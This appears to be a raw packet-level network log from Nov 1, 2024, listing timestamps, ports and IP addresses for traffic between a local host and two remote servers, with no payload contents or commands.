Nov 1, 2024 05:02:34.272912025 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.273245096 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.273308992 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.273319960 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.273359060 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.277997017 CET	59860	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:34.278022051 CET	443	59860	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:34.278105021 CET	59860	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:34.278410912 CET	59860	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:34.278423071 CET	443	59860	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:34.307275057 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.307360888 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.307372093 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.307435989 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.307449102 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.307460070 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.307506084 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.344088078 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.344134092 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.344146013 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.344207048 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.344244003 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.344254017 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.344290972 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.344325066 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.344338894 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.344364882 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.344444990 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.344456911 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.344500065 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.388473988 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.388484955 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.388494968 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.388545990 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.388581991 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.388612986 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.388624907 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.388663054 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.388691902 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.388881922 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.388897896 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.388942003 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.389007092 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.389065027 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.389075994 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.389106989 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.389132977 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.389265060 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.389326096 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.389338017 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.389362097 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.389426947 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.389643908 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.389703989 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.389713049 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.389724016 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.389766932 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.389889002 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.389930010 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.389967918 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.389978886 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.390016079 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.390089035 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.390151978 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.390192032 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.424170971 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.424227953 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.424238920 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.424269915 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.424280882 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.424328089 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.424377918 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.424390078 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.424426079 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.424493074 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.460957050 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.460998058 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.461009979 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.461076975 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.461102009 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.461143970 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.461189985 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.461215019 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.461261988 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.461272955 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.461307049 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.461435080 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.461457968 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.461494923 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.505645037 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.505721092 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.505732059 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.505796909 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.505832911 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.505846024 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.505892992 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.505960941 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.505973101 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.506002903 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.506074905 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.506087065 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.506120920 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.506166935 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.506223917 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.506263018 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.506263971 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.506295919 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.506319046 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.506411076 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.506448984 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.506450891 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.506463051 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.506498098 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.506570101 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.506758928 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.506799936 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.506804943 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.506817102 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.506859064 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.506992102 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.507013083 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.507076025 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.507110119 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.507113934 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.507704973 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.541054010 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.541122913 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.541132927 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.541165113 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.541177034 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.541182995 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.541222095 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.541255951 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.541306973 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.578440905 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.578488111 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.578500032 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.578569889 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.578622103 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.578634024 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.578644037 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.578649044 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.578701973 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.578834057 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.578871012 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.621217012 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.621243954 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.621257067 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.621337891 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.622574091 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.622628927 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.622641087 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.622642040 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.622683048 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.622775078 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.622786045 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.622833967 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.622864962 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.622961044 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.622972012 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.623049974 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.623060942 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.623132944 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.623177052 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.623192072 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.623203039 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.623230934 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.623339891 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.623402119 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.623411894 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.623439074 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.623461008 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.623563051 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.623663902 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.623678923 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.623713017 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.623740911 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.623783112 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.623907089 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.623956919 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.623966932 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.624005079 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.624120951 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.624165058 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.624170065 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.658133030 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.658166885 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.658178091 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.658195019 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.658214092 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.658294916 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.658305883 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.658349991 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.695091009 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.695116043 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.695137978 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.695166111 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.695168972 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.695187092 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.695204020 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.695213079 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.695250034 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.695303917 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.695334911 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.695374966 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.738029003 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.738065004 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.738082886 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.738115072 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.739428997 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.739485979 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.739491940 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.739506006 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.739547014 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.739562035 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.739667892 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.739684105 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.739722013 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.739835024 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.739881992 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.739892960 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.739908934 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.739949942 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.740179062 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.740232944 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.740247965 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.740288973 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.740385056 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.740406990 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.740422010 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.740439892 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.740451097 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.740462065 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.740626097 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.740638971 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.740678072 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.740864992 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.740926027 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.740940094 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.740966082 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.740978003 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.741049051 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.741131067 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.741147041 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.741183996 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.741228104 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.741285086 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.775166035 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.775188923 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.775213957 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.775228977 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.775238037 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.775244951 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.775262117 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.775269985 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.775296926 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.775448084 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.775477886 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.775532007 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.812207937 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.812226057 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.812242031 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.812283039 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.812319994 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.812344074 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.812385082 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.812465906 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.812482119 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.812515020 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.812536001 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.812644958 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.854963064 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.855021000 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.855048895 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.855065107 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.855144024 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.855144024 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.856414080 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.856436014 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.856451988 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.856551886 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.856565952 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.856580019 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.856581926 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.856585979 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.856616020 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.856780052 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.856837034 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.856844902 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.856895924 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.856972933 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.857054949 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.857072115 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.857101917 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.857115984 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.857228994 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.857299089 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.857315063 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.857357025 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.857479095 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.857547998 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.857563019 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.857589006 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.857599974 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.857670069 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.857769012 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.857784986 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.857822895 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.857892990 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.857908964 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.857949018 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.858123064 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.858165979 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.858187914 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.858202934 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.858242989 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.891602993 CET	443	59860	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:34.891669989 CET	59860	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:34.892617941 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.892668962 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.892692089 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.892736912 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.892815113 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.892831087 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.892874956 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.892992973 CET	59860	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:34.892998934 CET	443	59860	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:34.893210888 CET	443	59860	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:34.894506931 CET	59860	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:34.894681931 CET	59860	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:34.894711971 CET	443	59860	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:34.929083109 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.929140091 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.929155111 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.929208994 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.929261923 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.929285049 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:34.929301977 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.929328918 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:34.929385900 CET	80	59856	185.215.113.16	192.168.2.5
